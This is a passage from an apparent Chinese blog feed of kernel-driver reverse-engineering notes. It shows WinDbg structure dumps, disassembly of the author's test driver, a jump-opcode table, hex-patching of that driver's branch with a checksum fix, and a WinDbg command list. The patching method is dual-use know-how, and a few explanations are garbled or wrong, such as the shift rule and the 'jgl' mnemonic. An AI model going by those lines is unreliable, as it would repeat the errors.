_UNICODE_STRING<br>&nbsp;<wbr>&nbsp;<wbr> +0x028 FastIoDispatch&nbsp;<wbr>&nbsp;<wbr> : Ptr32 _FAST_IO_DISPATCH<br>&nbsp;<wbr>&nbsp;<wbr> +0x02c DriverInit&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> : Ptr32&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> long<br>&nbsp;<wbr>&nbsp;<wbr> +0x030 DriverStartIo&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> : Ptr32&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> void<br>&nbsp;<wbr>&nbsp;<wbr> +0x034 DriverUnload&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> : Ptr32&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> void<br>&nbsp;<wbr>&nbsp;<wbr> +0x038 MajorFunction&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> : [28] Ptr32&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> long</p>
<p>显然是driver_object+10会得到DriverSize，那我们手工查看一下。</p>
<p>从反汇编窗口其实已经在代码后有提示了。<br>我们dd ebp+8可以获得driver_object的地址，在这个地址上+10（dd driver_object地址+10就可以了，当然也可以直接dd 算好的地址）：<br>kd&gt; dd 81e64f38+10<br>81e64f48&nbsp;<wbr> 00000c00 81d5f3b8 81e64fe0 00160016</p>
<p>我们还可以进循环，看device_object的具体情况，先看下结构：</p>
<p>kd&gt; dt _device_object<br>ntdll!_DEVICE_OBJECT<br>&nbsp;<wbr>&nbsp;<wbr> +0x000 Type&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> : Int2B<br>&nbsp;<wbr>&nbsp;<wbr> +0x002 Size&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> : Uint2B<br>&nbsp;<wbr>&nbsp;<wbr> +0x004 ReferenceCount&nbsp;<wbr>&nbsp;<wbr> : Int4B<br>&nbsp;<wbr>&nbsp;<wbr> +0x008 DriverObject&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> : Ptr32 _DRIVER_OBJECT<br>&nbsp;<wbr>&nbsp;<wbr> +0x00c NextDevice&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> : Ptr32 _DEVICE_OBJECT<br>&nbsp;<wbr>&nbsp;<wbr> +0x010 AttachedDevice&nbsp;<wbr>&nbsp;<wbr> : Ptr32 _DEVICE_OBJECT<br>&nbsp;<wbr>&nbsp;<wbr> +0x014 CurrentIrp&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> : Ptr32 _IRP<br>&nbsp;<wbr>&nbsp;<wbr> +0x018 Timer&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> : Ptr32 _IO_TIMER<br>&nbsp;<wbr>&nbsp;<wbr> +0x01c Flags&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> : Uint4B<br>&nbsp;<wbr>&nbsp;<wbr> +0x020 Characteristics&nbsp;<wbr> : Uint4B<br>&nbsp;<wbr>&nbsp;<wbr> +0x024 Vpb&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> : Ptr32 _VPB<br>&nbsp;<wbr>&nbsp;<wbr> +0x028 DeviceExtension&nbsp;<wbr> : Ptr32 Void<br>&nbsp;<wbr>&nbsp;<wbr> +0x02c DeviceType&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> : Uint4B<br>&nbsp;<wbr>&nbsp;<wbr> +0x030 StackSize&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> : Char<br>&nbsp;<wbr>&nbsp;<wbr> +0x034 Queue&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> : __unnamed<br>&nbsp;<wbr>&nbsp;<wbr> +0x05c AlignmentRequirement : Uint4B<br>&nbsp;<wbr>&nbsp;<wbr> +0x060 DeviceQueue&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> : _KDEVICE_QUEUE<br>&nbsp;<wbr>&nbsp;<wbr> +0x074 Dpc&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> : _KDPC<br>&nbsp;<wbr>&nbsp;<wbr> +0x094 ActiveThreadCount : Uint4B<br>&nbsp;<wbr>&nbsp;<wbr> +0x098 SecurityDescriptor : Ptr32 Void<br>&nbsp;<wbr>&nbsp;<wbr> +0x09c DeviceLock&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> : _KEVENT<br>&nbsp;<wbr>&nbsp;<wbr> +0x0ac SectorSize&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> : Uint2B<br>&nbsp;<wbr>&nbsp;<wbr> +0x0ae Spare1&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> : Uint2B<br>&nbsp;<wbr>&nbsp;<wbr> +0x0b0 DeviceObjectExtension : Ptr32 _DEVOBJ_EXTENSION<br>&nbsp;<wbr>&nbsp;<wbr> +0x0b4 Reserved&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> : Ptr32 Void</p>
<p>在循环中下断，进去看数据：<br>kd&gt; dd 81d23b28<br>81d23b28&nbsp;<wbr> 00cc0003 00000000 81e64f38 00000000</p>
<p>对照看看：<br>+0x000 Type&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> : Int2B&nbsp;<wbr>&nbsp;<wbr> 00cc0003中的03<br>+0x002 Size&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> : Uint2B&nbsp;<wbr> 00cc0003中的cc</p>
<p>一般来说，如果内存中涉及堆栈，那么堆中放数据，栈中放数据指针......反正就这么慢慢看吧。</p>
<img src ="http://www.cppblog.com/iniwf/aggbug/112926.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/iniwf/" target="_blank">iniwf</a> 2010-04-18 19:25 <a href="http://www.cppblog.com/iniwf/archive/2010/04/18/112926.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>内核反编译学习笔记4</title><link>http://www.cppblog.com/iniwf/archive/2010/04/18/112925.html</link><dc:creator>iniwf</dc:creator><author>iniwf</author><pubDate>Sun, 18 Apr 2010 11:24:00 GMT</pubDate><guid>http://www.cppblog.com/iniwf/archive/2010/04/18/112925.html</guid><wfw:comment>http://www.cppblog.com/iniwf/comments/112925.html</wfw:comment><comments>http://www.cppblog.com/iniwf/archive/2010/04/18/112925.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/iniwf/comments/commentRss/112925.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/iniwf/services/trackbacks/112925.html</trackback:ping><description><![CDATA[<p>内核驱动反编译笔记4<br>if else啦</p>
<p>需要掌握：<br>if else在程序反汇编中的状态，用16进制编辑器修改程序</p>
<p>cmp&nbsp;<wbr> 比较<br>jbe&nbsp;<wbr> 小于等于<br>jmp&nbsp;<wbr> 无条件转移<br>shl&nbsp;<wbr> 数值左移：左移一位（shl&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> ecx,1）等于乘2，左移2位等于乘4<br>add&nbsp;<wbr> 加</p>
<p><br>需要了解：<br>jg,jl,jgl 大于，小于，大于等于<br>PUSH 入栈同时esp-4<br>POP&nbsp;<wbr> 出栈同时esp+4<br>用16进制编辑器修改程序</p>
<p>&nbsp;<wbr></p>
<p>命令(16进制代码)<br>JA/JNBE (77)　<br>JAE/JNB (73)&nbsp;<wbr><br>JB/JNAE (72)&nbsp;<wbr><br>JBE/JNA (76)&nbsp;<wbr><br>JG/JNLE (7F)&nbsp;<wbr><br>JGE/JNL (7D)&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr><br>JL/JNGE (7C)&nbsp;<wbr><br>JLE/JNG (7E)&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr></p>
<p>&nbsp;<wbr></p>
<p>无需了解<br>call与ret对esp的影响<br>右移shr</p>
<p>正确的来说左移和右移操作是操作数乘于（或除于）2的平方（（SHL）n * 2 ^ 2、（SHR）n / 2 ^ 2)。<br>即操作数每向左或右移动一次都乘于或除于2一次。</p>
<p>文件校验和</p>
<p>/////////////</p>
<p><br>ULONG MyAdd1(ULONG u1,ULONG u2)<br>{<br>&nbsp;<wbr>ULONG u3;<br>&nbsp;<wbr>if (u1&gt;u2)<br>&nbsp;<wbr>&nbsp;<wbr>u3=u1*2;<br>&nbsp;<wbr>else<br>&nbsp;<wbr>&nbsp;<wbr>u3=u2*4;<br>&nbsp;<wbr>&nbsp;<wbr><br>&nbsp;<wbr>&nbsp;<wbr>return u3+100;&nbsp;<wbr><br>&nbsp;<wbr><br>&nbsp;<wbr>}<br>&nbsp;<wbr><br>&nbsp;<wbr>使用：<br>MyAdd1(5,8)<br>////////////</p>
<p>&nbsp;<wbr></p>
<p><br>kd&gt; uf bz5!myadd1<br>bz5!MyAdd1 [d:\mydriver\bz5\bz5.c @ 7]:<br>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> 7 f8513490 8bff&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> mov&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> edi,edi<br>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> 7 f8513492 55&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> push&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> ebp<br>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> 7 f8513493 8bec&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> mov&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> ebp,esp<br>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> 7 f8513495 51&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> push&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> ecx<br>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> //这里开始<br>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> 9 f8513496 8b4508&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> mov&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> eax,dword ptr [ebp+8]&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> ;5<br>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> 9 f8513499 3b450c&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> cmp&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> eax,dword ptr [ebp+0Ch]&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> ;将5与8比较<br>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> 9 f851349c 760a&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> jbe&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> bz5!MyAdd1+0x18 (f85134a8)&nbsp;<wbr> ;小于等于就跳转到f85134a8运行</p>
<p>bz5!MyAdd1+0xe [d:\mydriver\bz5\bz5.c @ 10]:<br>&nbsp;<wbr>&nbsp;<wbr> 10 f851349e 8b4d08&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> mov&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> ecx,dword ptr [ebp+8]<br>&nbsp;<wbr>&nbsp;<wbr> 10 f85134a1 d1e1&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> shl&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> ecx,1<br>&nbsp;<wbr>&nbsp;<wbr> 10 f85134a3 894dfc&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> mov&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> dword ptr [ebp-4],ecx<br>&nbsp;<wbr>&nbsp;<wbr> 11 f85134a6 eb09&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> jmp&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> bz5!MyAdd1+0x21 (f85134b1)</p>
<p>bz5!MyAdd1+0x18 [d:\mydriver\bz5\bz5.c @ 12]:<br>&nbsp;<wbr>&nbsp;<wbr> 12 f85134a8 8b550c&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> mov&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> edx,dword ptr [ebp+0Ch]&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> ;8<br>&nbsp;<wbr>&nbsp;<wbr> 12 f85134ab c1e202&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> shl&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> edx,2&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> ;8*4<br>&nbsp;<wbr>&nbsp;<wbr> 12 f85134ae 8955fc&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> mov&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> dword ptr [ebp-4],edx&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> ;32</p>
<p>bz5!MyAdd1+0x21 [d:\mydriver\bz5\bz5.c @ 14]:<br>&nbsp;<wbr>&nbsp;<wbr> 14 f85134b1 8b45fc&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> mov&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> eax,dword ptr [ebp-4]&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> ;32<br>&nbsp;<wbr>&nbsp;<wbr> 14 f85134b4 83c064&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> add&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> eax,64h&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> ;32+100&nbsp;<wbr> 准备返回<br>&nbsp;<wbr>&nbsp;<wbr> //赋值给eax作为返回值结束<br>&nbsp;<wbr>&nbsp;<wbr> 16 f85134b7 8be5&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> mov&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> esp,ebp<br>&nbsp;<wbr>&nbsp;<wbr> 16 f85134b9 5d&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> pop&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> ebp<br>&nbsp;<wbr>&nbsp;<wbr> 16 f85134ba c20800&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> ret&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> 8</p>
<p>最后运行结果：<br>kd&gt; g<br>x3 Result:132<br>!<br>当我把<br>&nbsp;<wbr> if (u1&gt;u2)<br>改为<br>&nbsp;<wbr> if (u1&lt;u2)&nbsp;<wbr><br>&nbsp;<wbr> &nbsp;<wbr><br>反汇编以后：<br>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> 9 f8567499 3b450c&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> cmp&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> eax,dword ptr [ebp+0Ch]<br>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> 9 f856749c 730a&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> jae&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> bz5!MyAdd1+0x18 (f85674a8)<br>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr><br>运行结果:<br>kd&gt; g<br>x3 Result:110<br>!</p>
<p>内核反编译学习笔记4(下)附windbg常用命令</p>
<p>那么我们能否把原来的730a改为7f0a这样的手段，修改驱动的判断呢？</p>
<p>&nbsp;<wbr></p>
<p>当然可以，我们可以用ultraedit等编辑器，打开bz5.sys，搜索"3b450c"，下面的73改为自己需要的：<br>命令(16进制代码)<br>JA/JNBE (77)　<br>JAE/JNB (73)&nbsp;<wbr><br>JB/JNAE (72)&nbsp;<wbr><br>JBE/JNA (76)&nbsp;<wbr><br>JG/JNLE (7F)&nbsp;<wbr><br>JGE/JNL (7D)&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr><br>JL/JNGE (7C)&nbsp;<wbr><br>JLE/JNG (7E)&nbsp;<wbr></p>
<p>比如7F，保存，然后注册运行。没错，你会发现不能运行。</p>
<p>////////////////////////<br>解决方法：重新计算校验和并保存。<br>用loadPe就可以了，里面有校验和，旁边有个问号，重新计算以后别忘了保存，再确定，然后，阿弥陀佛。</p>
<p><br>1.基本调试控制<br>运行程序(Run): 快捷键:F5 命令:g<br>单步步入(Step In)： 快捷键:F8 命令:p<br>单步步过(Step Over): 快捷键:F10<br>运行到光标所在行： 快捷键:F7<br>执行到返回：gu<br>执行到指定地址：g [Address]<br>重新运行调试程序: 快捷键:Ctrl+Shift+F5(这个对驱动一般用不到)</p>
<p>2.断点<br>断点之于调试当然是非常重要的<br>常用命令：<br>bp [Address]or[Symbol] 在指定地址下断<br>可以使用地址或符号，如<br>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> bp 80561259(Windbg默认使用16进制)<br>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> bp MyDriver!GetKernelPath<br>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> bp MyDriver!GetKernelPath+0x12<br>bp [Address] /p eprocess 仅当当前进程为eprocess时才中断<br>这个很常用，比如你bp nt!NtTerminateProcess,但是只想在某一进程触发此断点时才断下来，那就加上这个参数吧，因为内核中的代码是各个进程共用的，所以此命令很实用<br>bp [Address] /t ethread 仅当当前线程为ethread时才中断，用法跟/p参数类似<br>bu [Address]or[Symbol] 下一个未解析的断点(就是说这个断点需要延迟解析)<br>这个也很常用，比如我们的驱动名为MyDriver.sys,那么在驱动加载之前下断bu MyDriver!DriverEntry，<br>然后加载这个驱动时就可以断在驱动入口，并且这个是不需要调试符号支持的<br>bl 列出所有断点,L=List<br>bc[id] 清除断点，c=Clear,id是bl查看时的断点编号<br>bd[id] 禁用断点，d=Disable,id即断点编号<br>be[id] 启用断点，e=Enable,id为断点编号</p>
<p>3.查看和修改数据<br>调试中不可避免的要查看和修改数据<br>查看内存：<br>db/dw/dd/dq [Address]&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> 字节/字/双字/四字方式查看数据<br>da/du [Address]&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> ASCII字符串/Unicode字符串方式查看指定地址<br>其它常用的如查看结构<br>dt nt!_EPROCESS<br>dt nt!_EPROCESS 89330da0 (把0x89330da0作为对象指针)<br>修改内存：<br>eb/ew/ed/eq/ef/ep Address [Values]<br>字节/字/双字/四字/浮点数/指针/<br>ea/eu/eza/ezu Address [Values]<br>ASCII字符串/Unicode字符串/以NULL结尾的ASCII字符串/以NULL结尾的Unicode字符串<br>搜索内存：<br>s -[b/w/d/q/a/u] Range Target<br>搜索字节/字/双字/四字/ASCII字符串/Unicode字符串</p>
<p>4.寄存器<br>在用Windbg调试时可以Alt+4直接调出寄存器窗口，然后拖放到合适的位置就可以。<br>要修改呢就直接双击相应的项就可以了。<br>把命令的方式也说一下，比较简单：<br>r 显示所有寄存器的值<br>r eax 显示eax的值<br>r eax=1 修改eax的值为1</p>
<p>5.辅助命令<br>!process 显示当前进程信息<br>!process 0 0 显示当前所有进程(会有僵尸进程)<br>!process 1f4 显示pid为1f4的进程信息，后面也可以跟eprocess的值<br>!thread 显示当前线程信息<br>!thread<br>!process 1f4 显示tid为768的线程信息，后面也可以跟ethread的值<br>栈相关:<br>k 显示调用栈<br>kb 显示ebp和前3个参数<br>kp 以函数调用形式显示栈</p>
<p>&nbsp;<wbr></p>
<img src ="http://www.cppblog.com/iniwf/aggbug/112925.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/iniwf/" target="_blank">iniwf</a> 2010-04-18 19:24 <a href="http://www.cppblog.com/iniwf/archive/2010/04/18/112925.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>内核反编译学习笔记2</title><link>http://www.cppblog.com/iniwf/archive/2010/04/18/112922.html</link><dc:creator>iniwf</dc:creator><author>iniwf</author><pubDate>Sun, 18 Apr 2010 11:02:00 GMT</pubDate><guid>http://www.cppblog.com/iniwf/archive/2010/04/18/112922.html</guid><wfw:comment>http://www.cppblog.com/iniwf/comments/112922.html</wfw:comment><comments>http://www.cppblog.com/iniwf/archive/2010/04/18/112922.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/iniwf/comments/commentRss/112922.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/iniwf/services/trackbacks/112922.html</trackback:ping><description><![CDATA[<p>内核反编译学习笔记2（上）</p>
<p>&nbsp;<wbr></p>
<p>本节任务：通过具有不同数量参数的函数调用，看其中区别<br>所用程序bz3<br>需要掌握：<br>windbg命令：<br>uf 反汇编<br>dd 查看内容</p>
<p>调用的时候：<br>mov&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> 给参数赋值<br>push&nbsp;<wbr>&nbsp;<wbr> eax 供函数使用的参数<br>被调用函数内部<br>push&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> ebp&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> 保存ebp，用来保存调用前运行的代码地址<br>mov&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> ebp,esp&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> 将esp赋值给ebp，现在有新的ebp指针了,指向栈顶</p>
<p>pop&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> ebp&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> 恢复ebp，取得地址，准备跳到那地址的代码，继续运行程序</p>
